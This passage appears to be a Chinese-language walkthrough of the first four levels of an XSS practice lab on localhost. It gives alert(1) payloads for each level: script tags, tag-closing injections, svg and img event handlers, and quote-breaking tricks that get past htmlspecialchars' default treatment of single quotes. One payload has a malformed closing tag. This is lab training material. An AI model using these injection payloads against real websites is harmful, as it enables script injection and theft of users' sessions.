level1
这一关是一个很简单的测试,直接在url上改一下标签就行了。
payload如下:
127.0.0.1/XSS/level1.php?name=<script>alert(1)</script>
level2
这一关是一个比较典型的搜索框XSS,只需要构造一下闭合语句,将input语句<input name=keyword value="123">闭合。
这个可以有很多方法,但主要的还是闭合 "> 。
payload如下:
"><script>alert(1)<script>
"><svg/onload=alert(1)>
"><img src=1 onerror="alert(1)"
"><a href="javascript:alert(1)">123</a>
level3
这一关注入<>和',发现都被反射出来了,再看一下源代码,第三关的两个地方都加了htmlspecialchars函数处理,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以。那么就用单引号来测试
payload如下:
'onclick='alert(1)
'onmouseover='alert(1)'
构造闭合语句:<input name=keyword value='".htmlspecialchars('onclick='alert(1))."'>
level4
这一关同上一关很是相似,但查看网页源码时会发现,这里的input是双引号的
<input name=keyword value="try harder!">
所以输入的语句也需要改一下,payload如下:
"onclick="alert(1)
"onmouseover='alert(1)'
构造闭合语句:<input name=keyword value="'.htmlspecialchars("onclick="alert(1)).'&